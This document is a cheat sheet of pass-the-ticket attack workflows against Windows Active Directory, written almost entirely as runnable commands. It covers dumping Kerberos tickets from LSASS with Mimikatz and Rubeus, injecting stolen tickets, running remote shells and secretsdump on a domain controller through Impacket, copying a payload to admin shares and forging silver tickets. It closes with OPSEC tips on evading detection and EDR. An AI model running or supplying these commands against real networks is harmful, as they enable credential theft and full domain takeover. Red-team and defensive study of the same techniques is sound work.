# Pass-the-Ticket Attack Workflows ## Workflow 1: Mimikatz Ticket Extraction and Injection ### Step 1: Export Tickets from LSASS ```powershell # Dump all Kerberos tickets from memory mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" # List exported .kirbi files dir *.kirbi # Identify high-value tickets (Domain Admin TGTs) # Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi ``` ### Step 2: Inject Ticket into Session ```powershell # Purge existing tickets mimikatz.exe "kerberos::purge" "exit" # Or with klist klist purge # Import stolen ticket mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit" # Verify ticket is loaded klist ``` ### Step 3: Access Resources ```powershell # Access file shares as impersonated user dir \\dc01.domain.local\c$ # Execute commands remotely PsExec.exe \\dc01.domain.local cmd.exe # Access admin shares copy payload.exe \\dc01.domain.local\c$\windows\temp\ ``` ## Workflow 2: Rubeus Ticket Operations ### Dump and Inject ```powershell # Dump all tickets (requires local admin) .\Rubeus.exe dump # Dump tickets for specific LUID .\Rubeus.exe dump /luid:0x3e4 # Extract TGT for current user (no admin required) .\Rubeus.exe tgtdeleg # Inject ticket from base64 .\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket... # Create sacrificial process with ticket .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket ``` ## Workflow 3: Linux-Based Pass-the-Ticket (Impacket) ### Convert and Use Tickets ```bash # Convert .kirbi to .ccache impacket-ticketConverter ticket.kirbi ticket.ccache # Set environment variable for ticket export KRB5CCNAME=ticket.ccache # Use with Impacket tools impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local # List accessible shares impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local ``` ## Workflow 4: Silver Ticket (Forged TGS) ```powershell # Create silver ticket with Mimikatz (requires service account NTLM hash) mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit" # Create silver ticket with Rubeus .\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt ``` ## OPSEC Considerations 1. Stolen tickets have limited lifetime (default 10 hours for TGT) 2. TGT reuse from different IP may trigger advanced detection 3. Silver tickets bypass the KDC entirely - harder to detect 4. Use createnetonly in Rubeus to avoid overwriting legitimate tickets 5. Monitor for credential guard which protects Kerberos tickets 6. Be aware that some EDR solutions monitor ticket injection